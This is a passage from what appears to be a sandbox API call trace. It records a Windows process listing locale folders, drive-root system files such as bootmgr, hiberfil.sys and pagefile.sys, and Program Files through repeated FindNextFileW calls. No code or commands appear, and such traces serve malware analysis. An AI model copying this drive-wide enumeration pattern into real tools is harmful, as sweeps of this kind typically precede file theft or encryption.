[0242.963] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0242.963] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0242.963] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0242.963] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0242.963] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0242.963] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0242.964] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0242.964] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0242.964] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0242.964] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="qps-ploc", cAlternateFileName="")) returned 1 [0242.964] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0242.964] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0243.030] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0243.030] FindNextFileW (in: hFindFile=0x6ec4f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0243.030] FindClose (in: hFindFile=0x6ec4f0 | out: hFindFile=0x6ec4f0) returned 1 [0243.030] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0243.030] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0243.031] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0243.031] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0243.032] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0243.032] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0243.032] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0243.032] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0243.033] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0243.033] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0243.034] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0243.034] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~2")) returned 1 [0243.035] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0243.035] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0243.035] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0243.035] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0243.036] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0243.036] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0243.036] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0243.037] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6c9427, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef6c9427, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1236, dwReserved0=0x0, dwReserved1=0x240000, cFileName="updaterevokesipolicy.p7b", cAlternateFileName="UPDATE~1.P7B")) returned 1 [0243.037] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0243.037] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0243.038] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0243.038] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0243.039] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0243.039] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0243.039] FindClose (in: hFindFile=0x6ebeb0 | out: hFindFile=0x6ebeb0) returned 1 [0243.039] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0243.039] FindNextFileW (in: hFindFile=0x64a258, lpFindFileData=0x3b2fcf8 | out: lpFindFileData=0x3b2fcf8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfb90936b, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0x607da, dwReserved0=0x77da0000, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0243.041] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0243.041] FindNextFileW (in: hFindFile=0x64a258, lpFindFileData=0x3b2fcf8 | out: lpFindFileData=0x3b2fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ESD", cAlternateFileName="")) returned 1 [0243.044] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0243.044] FindNextFileW (in: hFindFile=0x64a258, lpFindFileData=0x3b2fcf8 | out: lpFindFileData=0x3b2fcf8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7ef2dddf, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x7ef2dddf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa8a27762, ftLastWriteTime.dwHighDateTime=0x1d501b3, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0243.062] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0243.062] FindNextFileW (in: hFindFile=0x64a258, lpFindFileData=0x3b2fcf8 | out: lpFindFileData=0x3b2fcf8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6e97b025, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6e97b025, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0xaa2fae09, ftLastWriteTime.dwHighDateTime=0x1d501b3, nFileSizeHigh=0x0, nFileSizeLow=0x28000000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0243.063] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0243.063] FindNextFileW (in: hFindFile=0x64a258, lpFindFileData=0x3b2fcf8 | out: lpFindFileData=0x3b2fcf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x393aeeb2, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x393aeeb2, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0243.065] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0243.065] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft shared", cAlternateFileName="MICROS~1")) returned 1 [0243.070] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e4520, Size=0x4000) returned 0x32b9558 [0243.072] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0243.072] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ink", cAlternateFileName="")) returned 1 [0243.295] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f67ff0 | out: hHeap=0x630000) returned 1 [0243.295] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0243.295] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f67ff0 | out: hHeap=0x630000) returned 1 [0243.295] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0243.295] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f67ff0 | out: hHeap=0x630000) returned 1 [0243.295] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0243.296] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f67ff0 | out: hHeap=0x630000) returned 1 [0243.296] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0243.301] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f67ff0 | out: hHeap=0x630000) returned 1 [0243.301] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0243.301] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f67ff0 | out: hHeap=0x630000) returned 1 [0243.301] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1 [0243.301] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f67ff0 | out: hHeap=0x630000) returned 1 [0243.301] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0243.304] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f67ff0 | out: hHeap=0x630000) returned 1 [0243.304] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0243.306] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f67ff0 | out: hHeap=0x630000) returned 1 [0243.306] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1 [0243.306] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f67ff0 | out: hHeap=0x630000) returned 1 [0243.306] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0243.307] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f67ff0 | out: hHeap=0x630000) returned 1 [0243.307] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0243.307] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f67ff0 | out: hHeap=0x630000) returned 1 [0243.307] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8f49e8, ftCreationTime.dwHighDateTime=0x1d2a02a, 